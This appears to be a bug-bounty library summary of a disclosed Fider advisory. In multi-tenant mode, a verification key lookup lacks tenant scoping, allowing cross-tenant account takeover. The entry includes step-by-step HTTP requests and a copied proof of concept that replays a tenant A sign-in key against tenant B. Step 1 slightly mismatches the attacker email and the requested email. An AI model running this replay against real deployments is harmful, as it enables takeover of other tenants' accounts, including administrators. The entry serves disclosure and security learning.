# Fider: Multi-tenant verification-key bypass enables cross-tenant account takeover

Fider multi-tenant mode looked up email verification keys without tenant_id filtering, letting a key from Tenant A authenticate the attacker on Tenant B.

- Payout: Research
- Severity: critical
- Program: Fider
- Found by: xsqing
- Disclosed: 2026-12-03
- CVE: CVE-2026-65840
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vxjw-gv4f-vq58
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vxjw-gv4f-vq58
- Tags: area:web domain:web impact:ato impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:go technique:regression technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass

**Target:** Sign-in verification endpoint (/signin/verify) backed by email_verifications table
**Root cause:** getVerificationByKey queries email_verifications by key and kind only, omitting tenant_id, so a key issued by one tenant matches records in another; sibling queries in the same file correctly scope by tenant_id.
**Steps:**
1. Register on tenanta.example.com with attacker@evil.com and request a sign-in email: `POST /_api/signin` with `{"email":"admin-a@test.com"}`
2. Extract the key from the emailed link, e.g. `k=Urpoz9ntWfOBgpF72UWklTJUOjyLUhdzOLEvP6G5KVUgyRnc5ioMpwF6NOs0XNrE`
3. Send the Tenant A key to Tenant B: `GET http://tenantb.fider.local/signin/verify?k=<KEY>`
4. Observe the session authenticated on Tenant B as the email from Tenant A's verification record
**How found:** Code review of the SQL store: noticed getVerificationByKey lacked the tenant_id predicate that sibling queries at lines 148 and 182 use, a regression from the established secure pattern; confirmed with a local Docker multi-tenant PoC using MailHog to capture the key.
**Exploitation:** Attacker with any account on one tenant requests a sign-in email, harvests the key, and replays it against another tenant's /signin/verify endpoint. The unscoped lookup returns Tenant A's record and Fider logs the attacker in on Tenant B as that email — admin access if the email is an admin there, otherwise silent account creation.
**Escalation:** Cross-tenant pivot: a low-privilege account on any tenant yields authentication on every other tenant sharing the deployment, including administrator identities.
**Insight:** In multi-tenant codebases, diff every query in a store file against its siblings — a single missing tenant_id predicate on a key/code lookup is invisible in single-tenant testing but converts any verification token into a cross-tenant credential.

## Proof of concept (copied exactly from the original report)

**Cross-tenant sign-in key replay PoC**

```
# Step 1 — Request sign-in email on Tenant A
POST http://tenanta.fider.local/_api/signin
{"email": "admin-a@test.com"}

# Step 2 — Extract key from email link (retrieved via MailHog)
k=Urpoz9ntWfOBgpF72UWklTJUOjyLUhdzOLEvP6G5KVUgyRnc5ioMpwF6NOs0XNrE

# Step 3 — Use Tenant A's key on Tenant B
GET http://tenantb.fider.local/signin/verify?k=Urpoz9ntWfOBgpF72UWklTJUOjyLUhdzOLEvP6G5KVUgyRnc5ioMpwF6NOs0XNrE

# Result — Successfully authenticated on Tenant B as admin-a@test.com
```

